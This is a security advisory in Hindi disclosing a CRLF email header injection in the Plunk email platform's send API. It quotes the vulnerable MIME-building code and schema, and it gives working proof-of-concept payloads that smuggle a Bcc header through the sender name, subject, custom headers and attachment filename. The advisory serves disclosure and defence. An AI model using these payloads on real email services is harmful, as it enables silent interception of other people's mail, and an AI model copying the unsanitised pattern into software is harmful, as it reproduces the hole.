
CRLF ईमेल हेडर इंजेक्शन Plunk में raw MIME निर्माण के माध्यम से — CVSS 8.5
गंभीरता: उच्च (CVSS 8.5)
CWE: CWE-93 — CRLF अनुक्रमों का अनुचित न्यूट्रलाइज़ेशन ('CRLF इंजेक्शन')
प्रभावित: useplunk/plunk (फिक्स से पहले के सभी संस्करण)
परामर्श: GHSA
NVD: https://nvd.nist.gov/vuln/detail/CVE-2026-34975
Plunk का POST /v1/send एंडपॉइंट उपयोगकर्ता-आपूर्ति किए गए फ़ील्ड (from.name, subject, कस्टम हेडर, अटैचमेंट फ़ाइलनाम) को CRLF (\r\n) सैनिटाइज़ेशन के बिना सीधे टेम्पलेट स्ट्रिंग में इंटरपोलेट करके एक कच्चा MIME ईमेल संदेश बनाता है। एक प्रमाणित API उपयोगकर्ता Bcc सहित मनमाने ईमेल हेडर इंजेक्ट कर सकता है — ताकि ईमेल की प्रतियां चुपचाप हमलावर-नियंत्रित पते पर पुनर्निर्देशित हो सकें।
मैं ओपन-सोर्स ईमेल भेजने वाले प्लेटफ़ॉर्म का ऑडिट कर रहा था — ऐसा कुछ भी जो AWS SES को रैप करता है और एक API उजागर करता है। Plunk को SES पर निर्मित SendGrid/Postmark के डेवलपर-अनुकूल विकल्प के रूप में स्थापित किया गया है।
मेरा प्रवेश बिंदु कच्चे ईमेल निर्माण फ़ंक्शन था। जब भी मैं rawMessage += या MIME बनाने वाले टेम्पलेट लिटरल देखता हूं, मैं जांचता हूं कि क्या हर उपयोगकर्ता-आपूर्ति किया गया फ़ील्ड CRLF-सैनिटाइज़्ड है। SESService.ts में, उत्तर स्पष्ट रूप से नहीं था: from.name, subject, कस्टम हेडर, और अटैचमेंट फ़ाइलनाम सभी सीधे इंटरपोलेट किए गए थे।
जिस चीज़ ने इसे शोषण योग्य के रूप में पुष्टि की: Zod स्कीमा (packages/shared/src/schemas/index.ts) में उन फ़ील्ड में से किसी पर भी \r\n को अस्वीकार करने वाला कोई .regex() या .refine() नहीं था। स्कीमा परत पर कोई सैनिटाइज़ेशन नहीं, MIME निर्माण परत पर कोई सैनिटाइज़ेशन नहीं — API इनपुट से इंजेक्टेड MIME हेडर तक साफ रास्ता।
मैंने सभी चार वैक्टर (from.name, subject, कस्टम हेडर वैल्यू, अटैचमेंट फ़ाइलनाम) का परीक्षण किया और पुष्टि की कि Bcc: इंजेक्शन काम करता है। सत्यापित प्रेषक डोमेन वाला कोई भी प्रमाणित API उपयोगकर्ता हर आउटगोइंग ईमेल को चुपचाप हमलावर-नियंत्रित पते पर कॉपी कर सकता है। यथार्थवादी हमला परिदृश्य एक समझौता किया गया API कुंजी है जो लगातार ईमेल इंटरसेप्ट में बदल जाती है।
फ़ाइल: apps/api/src/services/SESService.ts, पंक्तियाँ 137–151
// Vulnerable raw MIME construction
let rawMessage = `From: ${from.name} <${from.email}>\r\n` +
`To: ${to}\r\n` +
`Subject: ${content.subject}\r\n`;
// Custom headers interpolated directly
for (const [key, value] of Object.entries(headers)) {
rawMessage += `${key}: ${value}\r\n`; // value not sanitized
}
// Attachment filename
`Content-Disposition: inline; filename="${attachment.filename}"` // not sanitized
Zod स्कीमा (packages/shared/src/schemas/index.ts) — कोई CRLF सत्यापन नहीं:
headers: z.record(z.string().max(998)).optional() // no \r\n check
from: { name: z.string().optional() } // no \r\n check
subject: z.string().min(1).max(998) // no \r\n check
filename: z.string().min(1).max(255) // no \r\n check
कच्चे MIME निर्माण के लिए आवश्यक है कि इंटरपोलेशन से पहले हर उपयोगकर्ता-आपूर्ति किए गए मान से \r\n हटा दिया जाए। Plunk संदेश को टेम्पलेट लिटरल के साथ बनाता है और चार इंजेक्टेबल फ़ील्ड में से किसी को भी सैनिटाइज़ नहीं करता है। SMTP पार्सर \r\n को हेडर सीमा के रूप में व्याख्या करते हैं, इसलिए from.name में \r\nBcc: [email protected] इंजेक्ट करने से आउटगोइंग संदेश में एक वास्तविक Bcc हेडर जुड़ जाता है।
चार इंजेक्शन वैक्टर के साथ पूर्ण प्रदर्शन के लिए poc.py देखें।
कोर पेलोड — from.name के माध्यम से Bcc इंजेक्शन:
payload = {
"to": "[email protected]",
"subject": "Legit email",
"body": "<p>Nothing to see here.</p>",
"from": {
"name": "Legit Sender\r\nBcc: [email protected]",
"email": "[email protected]",
},
}
SES द्वारा उत्पादित कच्चा MIME:
From: Legit Sender
Bcc: [email protected] <[email protected]>
To: [email protected]
Subject: Legit email
SES समझौता किए गए API कुंजी के माध्यम से भेजे गए हर ईमेल के साथ [email protected] को एक चुपचाप कॉपी वितरित करता है।
अन्य इंजेक्शन वैक्टर:
subject: "Legit Subject\r\nBcc: [email protected]"{"X-Custom": "value\r\nBcc: [email protected]"}Reply-To, Return-Path, Sender हेडर को ओवरराइड करें